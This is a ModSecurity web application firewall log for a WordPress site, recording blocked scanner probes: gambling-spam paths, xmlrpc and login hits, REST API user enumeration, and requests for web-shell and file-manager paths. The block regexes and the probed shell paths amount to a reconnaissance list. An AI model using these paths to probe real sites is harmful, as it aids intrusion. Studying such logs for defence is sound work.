[Mon Mar 02 18:16:12.242463 2026] [:error] [pid 59602:tid 59666] [client 5.135.131.226:39878] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aaVjbDMtSo_Fr0lHnSYjnwAAAIE"]
[Mon Mar 02 18:16:14.641213 2026] [:error] [pid 59600:tid 59616] [client 5.135.131.226:39884] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aaVjboQ5lE4yocV9IBf60QAAAAc"]
[Mon Mar 02 18:16:17.054719 2026] [:error] [pid 59601:tid 59653] [client 5.135.131.226:38022] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aaVjccQ1lXfvWN0-ZQlwaAAAAE8"]
[Mon Mar 02 18:16:19.463502 2026] [:error] [pid 59600:tid 59614] [client 5.135.131.226:38024] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaVjc4Q5lE4yocV9IBf67QAAAAU"]
[Mon Mar 02 18:16:21.891246 2026] [:error] [pid 59600:tid 59633] [client 5.135.131.226:38032] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aaVjdYQ5lE4yocV9IBf6-wAAABg"]
[Mon Mar 02 18:16:24.277197 2026] [:error] [pid 28847:tid 28857] [client 5.135.131.226:38036] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aaVjeJ9xbBq8VfeqVDa65QAAAMg"]
[Mon Mar 02 18:16:26.680543 2026] [:error] [pid 59600:tid 59624] [client 5.135.131.226:48768] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aaVjeoQ5lE4yocV9IBf7BAAAAA8"]
[Mon Mar 02 18:16:29.071407 2026] [:error] [pid 59601:tid 59659] [client 5.135.131.226:48778] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aaVjfcQ1lXfvWN0-ZQlwcgAAAFU"]
[Mon Mar 02 18:16:31.498993 2026] [:error] [pid 59601:tid 59639] [client 5.135.131.226:48792] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aaVjf8Q1lXfvWN0-ZQlwcwAAAEE"]
[Mon Mar 02 18:16:33.894687 2026] [:error] [pid 59701:tid 59725] [client 5.135.131.226:48806] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aaVjgeUmTDVso96U9_KuRgAAARU"]
[Mon Mar 02 18:16:36.308283 2026] [:error] [pid 28847:tid 28849] [client 5.135.131.226:48818] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aaVjhJ9xbBq8VfeqVDa7EQAAAMA"]
[Mon Mar 02 18:16:38.734972 2026] [:error] [pid 28847:tid 28871] [client 5.135.131.226:34824] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aaVjhp9xbBq8VfeqVDa7IwAAANY"]
[Mon Mar 02 18:16:38.738711 2026] [:error] [pid 59601:tid 59654] [client 35.232.110.78:51901] [client 35.232.110.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.110.78, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaVjhsQ1lXfvWN0-ZQlwegAAAFA"]
[Mon Mar 02 18:16:41.134276 2026] [:error] [pid 59602:tid 59668] [client 5.135.131.226:34838] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aaVjiTMtSo_Fr0lHnSYj8wAAAIM"]
[Mon Mar 02 18:16:41.873694 2026] [:error] [pid 59601:tid 59649] [client 35.232.110.78:51901] [client 35.232.110.78] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aaVjicQ1lXfvWN0-ZQlwgAAAAEs"]
[Mon Mar 02 18:16:43.508865 2026] [:error] [pid 28847:tid 28864] [client 5.135.131.226:34854] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaVji59xbBq8VfeqVDa7LgAAAM8"]
[Mon Mar 02 18:16:44.097103 2026] [:error] [pid 59601:tid 59642] [client 35.232.110.78:51901] [client 35.232.110.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.232.110.78, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaVjjMQ1lXfvWN0-ZQlwggAAAEQ"]
[Mon Mar 02 18:16:46.076205 2026] [:error] [pid 59602:tid 59671] [client 5.135.131.226:34866] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aaVjjjMtSo_Fr0lHnSYkBQAAAIY"]
[Mon Mar 02 18:16:48.444360 2026] [:error] [pid 59701:tid 59714] [client 5.135.131.226:34756] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aaVjkOUmTDVso96U9_KuVQAAAQo"]
[Mon Mar 02 18:16:50.862855 2026] [:error] [pid 59600:tid 59624] [client 5.135.131.226:34764] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aaVjkoQ5lE4yocV9IBf7XwAAAA8"]
[Mon Mar 02 18:16:53.263155 2026] [:error] [pid 59602:tid 59680] [client 5.135.131.226:34772] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aaVjlTMtSo_Fr0lHnSYkEAAAAI8"]
[Mon Mar 02 18:16:55.832561 2026] [:error] [pid 59601:tid 59644] [client 5.135.131.226:34784] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aaVjl8Q1lXfvWN0-ZQlwiQAAAEY"]
[Mon Mar 02 18:16:58.390131 2026] [:error] [pid 59602:tid 59686] [client 5.135.131.226:32878] [client 5.135.131.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aaVjmjMtSo_Fr0lHnSYkJwAAAJU"]
[Mon Mar 02 20:15:37.193758 2026] [:error] [pid 59734:tid 59746] [client 20.104.87.220:5439] [client 20.104.87.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaV_aZeWQx7ZQG9NybEZEQAAAUo"]
[Mon Mar 02 20:15:38.073017 2026] [:error] [pid 59600:tid 59614] [client 20.104.87.220:5377] [client 20.104.87.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaV_aoQ5lE4yocV9IBc-TQAAAAU"]
[Mon Mar 02 20:15:38.897503 2026] [:error] [pid 59601:tid 59653] [client 20.104.87.220:5406] [client 20.104.87.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaV_asQ1lXfvWN0-ZQmHMAAAAE8"]
[Mon Mar 02 20:15:39.729435 2026] [:error] [pid 59601:tid 59643] [client 20.104.87.220:5317] [client 20.104.87.220] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aaV_a8Q1lXfvWN0-ZQmHNgAAAEU"]
[Mon Mar 02 20:54:32.391103 2026] [:error] [pid 59600:tid 59609] [client 95.163.236.216:33010] [client 95.163.236.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 95.163.236.216, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaWIiIQ5lE4yocV9IBdWigAAAAA"]
[Mon Mar 02 20:59:09.170534 2026] [:error] [pid 28847:tid 28854] [client 193.189.100.199:57625] [client 193.189.100.199] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/1"] [unique_id "aaWJnZ9xbBq8VfeqVDZCtQAAAMU"], referer: https://vetstars.com.au/
[Mon Mar 02 20:59:11.170669 2026] [:error] [pid 59734:tid 59759] [client 2.58.56.43:27522] [client 2.58.56.43] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/2"] [unique_id "aaWJn5eWQx7ZQG9NybElmwAAAVc"], referer: https://vetstars.com.au/
[Mon Mar 02 20:59:13.065198 2026] [:error] [pid 59600:tid 59621] [client 91.92.109.126:59856] [client 91.92.109.126] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/3"] [unique_id "aaWJoYQ5lE4yocV9IBdZMgAAAAw"], referer: https://vetstars.com.au/
[Mon Mar 02 20:59:15.466542 2026] [:error] [pid 28847:tid 28850] [client 45.95.169.119:32688] [client 45.95.169.119] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/4"] [unique_id "aaWJo59xbBq8VfeqVDZCxQAAAME"], referer: https://vetstars.com.au/
[Mon Mar 02 20:59:17.184905 2026] [:error] [pid 59600:tid 59626] [client 104.244.72.132:38876] [client 104.244.72.132] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/5"] [unique_id "aaWJpYQ5lE4yocV9IBdZOwAAABE"], referer: https://vetstars.com.au/
[Mon Mar 02 21:54:20.371646 2026] [:error] [pid 59602:tid 59673] [client 147.93.7.21:59802] [client 147.93.7.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 147.93.7.21, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aaWWjDMtSo_Fr0lHnSZ7rgAAAIg"]
[Mon Mar 02 21:59:09.760265 2026] [:error] [pid 28847:tid 28853] [client 216.73.160.86:20261] [client 216.73.160.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaWXrZ9xbBq8VfeqVDZwCQAAAMQ"]
[Mon Mar 02 21:59:15.061543 2026] [:error] [pid 28847:tid 28855] [client 216.73.160.87:56449] [client 216.73.160.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaWXs59xbBq8VfeqVDZwGAAAAMY"]
[Mon Mar 02 21:59:25.789158 2026] [:error] [pid 59602:tid 59675] [client 216.73.160.234:61525] [client 216.73.160.234] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaWXvTMtSo_Fr0lHnSZ9lAAAAIo"]
[Mon Mar 02 21:59:32.302249 2026] [:error] [pid 59600:tid 59616] [client 216.73.160.85:36387] [client 216.73.160.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaWXxIQ5lE4yocV9IBd5IgAAAAc"]
[Mon Mar 02 21:59:42.347834 2026] [:error] [pid 59734:tid 59746] [client 216.73.160.216:20437] [client 216.73.160.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaWXzpeWQx7ZQG9NybE13wAAAUo"]
[Mon Mar 02 21:59:45.283639 2026] [:error] [pid 59600:tid 59626] [client 216.73.160.224:51015] [client 216.73.160.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaWX0YQ5lE4yocV9IBd5mAAAABE"]
[Mon Mar 02 21:59:46.070367 2026] [:error] [pid 28847:tid 28850] [client 216.73.160.76:24559] [client 216.73.160.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaWX0p9xbBq8VfeqVDZxJgAAAME"]
[Mon Mar 02 21:59:46.748569 2026] [:error] [pid 59600:tid 59610] [client 216.73.160.87:20439] [client 216.73.160.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaWX0oQ5lE4yocV9IBd5mgAAAAE"]
[Mon Mar 02 21:59:47.999638 2026] [:error] [pid 59600:tid 59610] [client 216.73.160.102:33149] [client 216.73.160.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaWX04Q5lE4yocV9IBd5ogAAAAE"]
[Mon Mar 02 21:59:48.718000 2026] [:error] [pid 28847:tid 28858] [client 216.73.160.219:36329] [client 216.73.160.219] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaWX1J9xbBq8VfeqVDZxMgAAAMk"]
[Mon Mar 02 21:59:51.730480 2026] [:error] [pid 28847:tid 28863] [client 216.73.160.75:29223] [client 216.73.160.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaWX159xbBq8VfeqVDZxSQAAAM4"]
[Mon Mar 02 21:59:55.002132 2026] [:error] [pid 59602:tid 59685] [client 216.73.160.236:23409] [client 216.73.160.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/filemanager.php"] [unique_id "aaWX2zMtSo_Fr0lHnSZ-EwAAAJQ"]
[Mon Mar 02 22:00:01.247700 2026] [:error] [pid 28847:tid 28852] [client 216.73.160.98:33237] [client 216.73.160.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaWX4Z9xbBq8VfeqVDZxbwAAAMM"]
[Mon Mar 02 22:00:03.860607 2026] [:error] [pid 59701:tid 59709] [client 216.73.160.235:41031] [client 216.73.160.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaWX4-UmTDVso96U9_LiEQAAAQU"]
[Mon Mar 02 22:00:06.735816 2026] [:error] [pid 59600:tid 59621] [client 216.73.160.232:36089] [client 216.73.160.232] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaWX5oQ5lE4yocV9IBd5zwAAAAw"]
[Mon Mar 02 22:00:17.618525 2026] [:error] [pid 59600:tid 59627] [client 216.73.160.77:31777] [client 216.73.160.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaWX8YQ5lE4yocV9IBd56AAAABI"]
[Mon Mar 02 22:00:20.259761 2026] [:error] [pid 59602:tid 59672] [client 216.73.160.224:35607] [client 216.73.160.224] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaWX9DMtSo_Fr0lHnSZ-PAAAAIc"]
